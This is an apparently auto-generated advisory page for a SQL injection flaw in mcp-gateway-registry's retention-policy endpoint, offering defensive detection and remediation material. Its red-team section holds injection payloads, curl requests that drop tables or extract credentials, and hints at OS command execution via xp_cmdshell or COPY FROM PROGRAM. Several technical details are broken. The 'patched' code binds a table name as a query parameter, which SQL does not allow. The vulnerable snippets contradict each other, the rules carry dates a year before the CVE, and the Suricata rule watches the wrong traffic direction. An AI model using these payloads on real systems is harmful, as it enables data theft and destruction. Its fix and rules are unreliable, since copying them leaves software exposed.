CVE-2026-14471
Executive Summary
CVE-2026-14471 is a critical SQL injection vulnerability in Amazon's mcp-gateway-registry component, specifically within the metrics-service retention policy management. An authenticated remote attacker can exploit this flaw by crafting a malicious table_name value that is interpolated directly into SQL statements in an identifier position. This allows arbitrary SQL execution, potentially leading to data exfiltration, modification, or denial of service. The vulnerability has a CVSS score of 8.1 (High) and affects versions prior to 1.0.13. No public exploit code or proof-of-concept is currently available, but the risk is significant due to the authenticated attack vector and the potential for database compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.1 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – The attacker must have valid authentication credentials.
- User Interaction: None (UI:N) – No user action is needed.
- Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
- Confidentiality Impact: High (C:H) – Full database read access is possible.
- Integrity Impact: High (I:H) – Data can be modified or deleted.
- Availability Impact: High (A:H) – Database operations can be disrupted.
Threat Level: High. While no public exploit exists, the vulnerability is easily exploitable by any authenticated user with low privileges. The potential for data breach and system compromise is severe.
Deep Dive & Mechanics
The vulnerability resides in the metrics-service retention policy management component of mcp-gateway-registry. The application constructs SQL queries by directly concatenating user-supplied input into the SQL statement, specifically in the identifier position (e.g., table name). This is a classic SQL injection flaw.
Root Cause: The table_name parameter is not properly sanitized or parameterized before being used in SQL queries. Instead of using prepared statements or parameterized queries, the application interpolates the value directly into the SQL string.
Attack Vector: An authenticated attacker sends a crafted HTTP request to the metrics-service endpoint that handles retention policy management. The request includes a malicious table_name value containing SQL metacharacters.
Example of vulnerable code (pseudo):
def create_retention_policy(table_name, retention_days):
query = f"CREATE RETENTION POLICY ON {table_name} WITH DURATION {retention_days}"
cursor.execute(query)
Exploitation: An attacker could set table_name to something like:
metrics_table; DROP TABLE users; --
This would result in the execution of:
CREATE RETENTION POLICY ON metrics_table; DROP TABLE users; -- WITH DURATION 30
Impact: The attacker can execute arbitrary SQL commands, including SELECT, INSERT, UPDATE, DELETE, and DROP. This can lead to complete database compromise.
Vulnerable vs. Patched Code
Vulnerable Code (before 1.0.13):
# Vulnerable: Direct string interpolation
def set_retention_policy(table_name, duration):
query = f"ALTER TABLE {table_name} SET RETENTION POLICY {duration}"
db.execute(query)
Patched Code (version 1.0.13):
# Patched: Using parameterized queries and input validation
def set_retention_policy(table_name, duration):
# Validate table_name against a whitelist of allowed identifiers
if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', table_name):
raise ValueError("Invalid table name")
query = "ALTER TABLE ? SET RETENTION POLICY ?"
db.execute(query, (table_name, duration))
The patched version uses parameterized queries (the ? placeholders) and validates the table_name against a strict regex pattern, preventing SQL injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Access to a vulnerable instance of
mcp-gateway-registry(version < 1.0.13) - Valid authentication credentials (low-privileged user)
Step 1: Identify the vulnerable endpoint
The endpoint is likely related to retention policy management, e.g., /api/v1/metrics/retention-policy.
Step 2: Craft the malicious request
curl -X POST "https://target.example.com/api/v1/metrics/retention-policy" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"table_name": "metrics_2024; SELECT * FROM users; --", "duration": "30d"}'
Step 3: Exploit to extract data
# Blind SQL injection to extract data
curl -X POST "https://target.example.com/api/v1/metrics/retention-policy" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"table_name": "metrics_2024 UNION SELECT 1,2,3 FROM users WHERE username='admin' AND password LIKE 'a%'", "duration": "30d"}'
Step 4: Escalate privileges
If the database user has sufficient privileges, attempt to create a new admin user or execute OS commands via xp_cmdshell (if SQL Server) or COPY ... FROM PROGRAM (if PostgreSQL).
Blue Team (Defense & Detection)
Detection:
- Monitor for SQL errors in application logs (e.g.,
syntax error,unexpected identifier). - Look for unusual
table_namevalues containing SQL keywords (SELECT,UNION,DROP,;,--). - Alert on multiple failed authentication attempts followed by SQL injection patterns.
Prevention:
- Ensure all instances are upgraded to version 1.0.13 or later.
- Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Enforce strict input validation on all user-supplied parameters.
Hunting:
- Search logs for requests to
/api/v1/metrics/retention-policywithtable_namecontaining special characters. - Review database query logs for unexpected
ALTER TABLEorSELECTstatements.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/api/v1/metrics/retention-policywithtable_namecontaining SQL metacharacters (;,--,UNION,SELECT). - Unusual database error messages in HTTP responses (e.g.,
syntax error,unexpected identifier).
- HTTP POST requests to
File IOCs:
- Modified application logs showing SQL injection attempts.
- Unexpected database dump files or temporary files.
System IOCs:
- Unusual database queries in the database audit logs.
- New user accounts or elevated privileges in the database.
Detection Engineering
YARA Rule
rule CVE_2026_14471_SQLi_TableName {
meta:
description = "Detects SQL injection attempts targeting CVE-2026-14471 via table_name parameter"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-14471"
strings:
$sqli1 = /table_name.*[;'\"]\s*(SELECT|UNION|DROP|DELETE|INSERT|UPDATE|ALTER|CREATE|EXEC|xp_cmdshell)/i
$sqli2 = /table_name.*--/
$sqli3 = /table_name.*\/\*/
condition:
any of them
}
Sigma Rule
title: CVE-2026-14471 SQL Injection via table_name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against mcp-gateway-registry metrics-service retention policy
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/v1/metrics/retention-policy'
keywords:
- 'SELECT'
- 'UNION'
- 'DROP'
- 'DELETE'
- 'INSERT'
- 'UPDATE'
- 'ALTER'
- 'CREATE'
- 'EXEC'
- 'xp_cmdshell'
- '--'
- '/*'
condition: selection and keywords
falsepositives:
- Legitimate use of table names containing these words (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-14471 SQL Injection Attempt - table_name parameter";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/v1/metrics/retention-policy"; http_uri;
content:"table_name";
pcre:"/table_name.*[;'\"]\s*(SELECT|UNION|DROP|DELETE|INSERT|UPDATE|ALTER|CREATE|EXEC|xp_cmdshell)/i";
sid:1000001;
rev:1;
priority:1;
reference:cve,2026-14471;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade all instances of
mcp-gateway-registryto version 1.0.13 or later. - Verify that no unauthorized changes have been made to the database.
- Rotate all credentials that may have been exposed.
Long-term Mitigations:
- Implement parameterized queries for all database interactions.
- Enforce strict input validation using whitelists for identifiers.
- Conduct regular security audits and penetration testing.
- Deploy a Web Application Firewall (WAF) with SQL injection prevention rules.
- Monitor application logs for suspicious activity.
Workaround (if patching is not immediately possible):
- Restrict access to the vulnerable endpoint to only trusted IP addresses.
- Implement a reverse proxy that filters out malicious
table_namevalues. - Disable the retention policy management feature temporarily.
Valters IT